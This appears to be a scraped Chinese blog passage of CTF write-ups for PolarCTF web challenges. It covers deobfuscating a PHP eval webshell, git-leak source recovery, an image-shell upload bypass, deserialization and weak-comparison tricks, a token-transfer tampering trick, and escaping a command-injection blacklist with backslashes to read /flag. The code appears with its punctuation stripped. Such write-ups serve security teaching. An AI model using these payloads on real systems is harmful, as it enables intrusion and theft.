2026/6/11 21:28:23
网站建设
项目流程
公司名称大全四个字,网站排名优化手机,专门做简历的网站软件,c 能用来做网站狗黑子的eval 查看源码并没有什么信息#xff0c;小习惯#xff0c;扫一下目录 我们查看下 我们看admin.php 查看源代码
有一个payload.php ?php
highlight_file(__FILE__);
//goua,gougoub;
$gou112gou;$gou516gou;$gou45gou;$g…狗黑子的eval查看源码并没有什么信息小习惯扫一下目录我们查看下我们看admin.php查看源代码有一个payload.php?php highlight_file(__FILE__); //goua,gougoub; $gou112gou;$gou516gou;$gou45gou;$gou6gou; $gou222gou;$gou315gou; $gou7c3Rnbw; $gou85pys572R6aG15piv5LiA5Liq5zyo57q/5bel5YW377yM5Yv5Lul5oqK5a2X56ym5Liy6L2s5oiQIEJhc2U2NzCDmiJbogIXku44gQmFzzTY0IOi9rOaIkOaIkOWtlespuS4s; $gou13$gou8{34};$gou17$gou8{10};$gou12$gou8{15};$gou10$gou8{105};$gou14$gou12;$gou11$gou8{51}; $gou$gou4.$gou2.$gou6.$gou1.$gou5.$gou3.$gou7.$gou8.$gou11.$gou13.$gou17.$gou12.$gou10.$gou14; ?goua,gougoub; 意思是1goua,2gougougoub,3gougougougouc $gou112gou;$gou516gou;$gou45gou;$gou6gou; 12goul,16goup,5goue,goua $gou222gou;$gou315gou; 22gouv,15gouo $gou7c3Rnbw; base64解码为stgo $gou8a5pys572R6aG15piv5LiA5Liq5zyo57q/5bel5YW377yM5Yv5Lul5oqK5a2X56ym5Liy6L2s5oiQIEJhc2U2NzCDmiJbogIXku44gQmFzzTY0IOi9rOaIkOaIkOWtlespuS4s; $gou13$gou8{34};$gou17$gou8{10};$gou12$gou8{15};$gou10$gou8{105};$gou14$gou12;$gou11$gou8{51}; 根据提示这里需要从1开始php数组是从零开始算我们的5就不被执行了我们在5的前面多加一个字符,这样就从5开始 我们已经解开了前半部分后半部分需要借助脚本的完整 前半部分为 $gou4.$gou2.$gou6.$gou1.$gou5.$gou3.$gou7. evalpostgo我们对代码进行修改和补充?php highlight_file(__FILE__); //goua,gougoub; $gou112gou;$gou516gou;$gou45gou;$gou6gou; $gou222gou;$gou315gou; $gou7c3Rnbw; $gou8a5pys572R6aG15piv5LiA5Liq5zyo57q/5bel5YW377yM5Yv5Lul5oqK5a2X56ym5Liy6L2s5oiQIEJhc2U2NzCDmiJbogIXku44gQmFzzTY0IOi9rOaIkOaIkOWtlespuS4s; $gou13$gou8[34];$gou17$gou8[10];$gou12$gou8[15];$gou10$gou8[105];$gou14$gou12;$gou11$gou8[51]; $gou$gou4.$gou2.$gou6.$gou1.$gou5.$gou3.$gou7.$gou8.$gou11.$gou13.$gou17.$gou12.$gou10.$gou14; $g$gou11.$gou13.$gou17.$gou12.$gou10.$gou14; echo evalpostgo,$g; ? evalpostgoubaizi这里的大括号不能使用属于语法错误我们改成中括号在这里可以看到如果5在0的位置上我们得得到得就是乱码没有任何逻辑evalpostgoleGvzv从得得到的结果看evalpostgoubaizi正确的样子为eval post goubaizi看起来像是一句话木马我们还扫到了shell.php应该是木马文件不能命令执行我们蚁剑连接但是蚁剑连接显示为空会不会是无回显我们尝试把我们的代码带出来成功带出常规位置并没有flag我们查找一下flag的位置find / -name *flag* 2/dev/null/etc/flag我们访问一下成功获取flagphp混淆壳无回显命令执行狗黑子的登录扫目录起手我们可以看到git泄露githacker --url http://c2263eb9-e216-476d-90e5-f2f7f71a097d.www.polarctf.com:8090/.git/ --output-folder zhaxiang我们把文件下载下来?php session_start(); if (isset($_SESSION[logged_in]) $_SESSION[logged_in] true) { header(Location: admin.php); exit; } if ($_SERVER[REQUEST_METHOD] POST isset($_POST[seclients_can_register])) { $registerValue $_POST[seclients_can_register]; // 明确处理0和1两种情况 if ($registerValue 1) { $_SESSION[show_register] true; } elseif ($registerValue 0) { $_SESSION[show_register] false; } } // 处理登录 $error ; if ($_SERVER[REQUEST_METHOD] POST isset($_POST[login])) { $username $_POST[username] ?? ; $password $_POST[password] ?? ; require config.php; if (isset($users[$username]) $users[$username] $password) { $_SESSION[logged_in] true; $_SESSION[username] $username; header(Location: admin.php); exit; } else { $error 用户名或密码不正确; } } ? !DOCTYPE html html langzh-CN head meta charsetUTF-8 title狗黑子的小破站/title style body { font-family: Arial, sans-serif; display: flex; justify-content: center; align-items: center; height: 100vh; margin: 0; background-color: #f0f0f0; } .login-container { background-color: white; padding: 2rem; border-radius: 8px; box-shadow: 0 0 10px rgba(0,0,0,0.1); } .form-group { margin-bottom: 1rem; } label { display: block; margin-bottom: 0.5rem; } input { width: 100%; padding: 0.5rem; border: 1px solid #ddd; border-radius: 4px; } button { width: 100%; padding: 0.5rem; background-color: #007bff; color: white; border: none; border-radius: 4px; cursor: pointer; } button:hover { background-color: #0056b3; } .error { color: red; margin-bottom: 1rem; } .register-btn { margin-top: 1rem; font-size: 0.8rem; padding: 0.3rem; background-color: #6c757d; } .register-btn:hover { background-color: #5a6268; } /style /head body div classlogin-container h2用户登录/h2 ?php if ($error): ? div classerror?php echo $error; ?/div ?php endif; ? form methodpost div classform-group label forusername用户名/label input typetext idusername nameusername required /div div classform-group label forpassword密码/label input typepassword idpassword namepassword required /div button typesubmit namelogin登录/button ?php if (isset($_SESSION[show_register]) $_SESSION[show_register] true): ? button typebutton classregister-btn onclickwindow.location.hrefregister.php注册/button ?php endif; ? /form /div /body /htmlif ($_SERVER[REQUEST_METHOD] POST isset($_POST[seclients_can_register])) { $registerValue $_POST[seclients_can_register]; // 明确处理0和1两种情况 if ($registerValue 1) { $_SESSION[show_register] true; } elseif ($registerValue 0) { $_SESSION[show_register] false; } }在这里发现注册页面我们现在开始进行注册我们现在开始登录成功登录?php session_start(); if (!isset($_SESSION[logged_in]) || $_SESSION[logged_in] ! true) { header(Location: index.php); exit; } if ($_SERVER[REQUEST_METHOD] POST isset($_POST[seclients_can_upload]) $_POST[seclients_can_upload] 1) { $_SESSION[show_upload] true; } $upload_message ; if (isset($_SESSION[show_upload]) $_SESSION[show_upload] true $_SERVER[REQUEST_METHOD] POST isset($_FILES[file])) { $target_dir uploads/; if (!file_exists($target_dir)) { mkdir($target_dir, 0777, true); } $target_file $target_dir . basename($_FILES[file][name]); $uploadOk true; if ($_FILES[file][size] 200 * 1024) { $upload_message 文件太小了。; $uploadOk false; } $image_types array(image/jpeg, image/png, image/gif, image/webp); $file_type $_FILES[file][type]; if (!in_array($file_type, $image_types)) { $upload_message 只允许上传图片文件 (JPG, PNG, GIF, WEBP)。; $uploadOk false; } if ($uploadOk move_uploaded_file($_FILES[file][tmp_name], $target_file)) { $upload_message 文件 . htmlspecialchars(basename($_FILES[file][name])) . 上传成功。; } elseif ($uploadOk) { $upload_message 文件上传失败。; } } ? !DOCTYPE html html langzh-CN head meta charsetUTF-8 title狗黑子的小破站/title style body { font-family: Arial, sans-serif; padding: 2rem; } .upload-section { margin-top: 2rem; padding: 1rem; border: 1px solid #ddd; border-radius: 4px; } .message { margin: 1rem 0; padding: 1rem; border-radius: 4px; } .success { background-color: #d4edda; color: #155724; } .error { background-color: #f8d7da; color: #721c24; } button { padding: 0.5rem 1rem; background-color: #dc3545; color: white; border: none; border-radius: 4px; cursor: pointer; } button:hover { background-color: #c82333; } input[typefile] { margin: 1rem 0; } input[typesubmit] { padding: 0.5rem 1rem; background-color: #28a745; color: white; border: none; border-radius: 4px; cursor: pointer; } input[typesubmit]:hover { background-color: #218838; } /style /head body h1恭喜进来?php echo htmlspecialchars($_SESSION[username]); ?/h1 pa hreflogout.phpbutton退出登录/button/a/p ?php if ($upload_message): ? div classmessage ?php echo strpos($upload_message, 成功) ! false ? success : error; ? ?php echo $upload_message; ? /div ?php endif; ? ?php if (isset($_SESSION[show_upload]) $_SESSION[show_upload] true): ? div classupload-section h2文件上传/h2 form methodpost enctypemultipart/form-data input typefile namefile idfile br input typesubmit value上传文件 nameupload /form /div ?php endif; ? /body /htmlif ($_SERVER[REQUEST_METHOD] POST isset($_POST[seclients_can_upload]) $_POST[seclients_can_upload] 1) { $_SESSION[show_upload] true; } $upload_message ; if (isset($_SESSION[show_upload]) $_SESSION[show_upload] true $_SERVER[REQUEST_METHOD] POST isset($_FILES[file])) { $target_dir uploads/; if (!file_exists($target_dir)) { mkdir($target_dir, 0777, true); } $target_file $target_dir . basename($_FILES[file][name]); $uploadOk true; if ($_FILES[file][size] 200 * 1024) { $upload_message 文件太小了。; $uploadOk false; } $image_types array(image/jpeg, image/png, image/gif, image/webp); $file_type $_FILES[file][type]; if (!in_array($file_type, $image_types)) { $upload_message 只允许上传图片文件 (JPG, PNG, GIF, WEBP)。; $uploadOk false; }分析源码得到seclients_can_upload上传文件的路径只能上传图片大小必须大于200上传一个文件大小大于200的图片马再改后缀成功上传获取flaggit泄露信息收集命令执行ZGZHtip反序列化把不需要的删掉让我们构造反序列化但是没有给我们类也没有参数?php class User { public $username AAA; } $a new User(); echo serialize($a); ?随便构造一个仅允许包含当前目录下的合法文件扫目录发现当前文件下有flag.php去包含flag.php?php class User{ public $username; } $a new User(); $a - username flag.php; echo urlencode(serialize($a)); ?或者直接打开flag.php都会直接输出进入pass.php是弱比较绕过满足弱比较条件提交857.00E0000即可获得flag奇怪的php反序列化弱比较老刘的小店一个登录页面我们点击加入注册一个账号我们可以看到我们可以再拿到3个代币远远不够我们的需要发现可以进行转账我们在创一个账号尝试进行抓包转账更改金额看看可以不可以创建一个账号b给账号a进行转账进行改包看来是成功了我们登录a来看看现在开始买买买其他三个信息一点用都没有没关系现在我们拿到了管理员的账号在页面中没有有用的信息查看源码发现if (isset($_GET[id])) { $id$_GET[id]; if(preg_match(/ls|dir|flag|type|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\|\|\|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\[^\d]||\||\\$|\[|\]|{|}|\(|\)|-||/i,$id)) { $output 你想干什么; }else{ system($id); } }过滤的看似我们没法了实则没有我们可以使用\来绕过?idl\s ?idl\s / ?idca\t /flag成功获取flagwaf绕过命令执行